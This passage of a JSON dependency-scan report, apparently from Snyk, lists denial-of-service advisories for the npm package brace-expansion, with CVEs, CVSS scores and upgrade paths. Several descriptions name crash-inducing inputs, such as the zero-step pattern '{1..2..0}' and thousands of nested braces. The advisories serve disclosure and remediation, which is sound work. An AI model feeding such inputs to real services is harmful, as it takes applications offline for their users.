"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
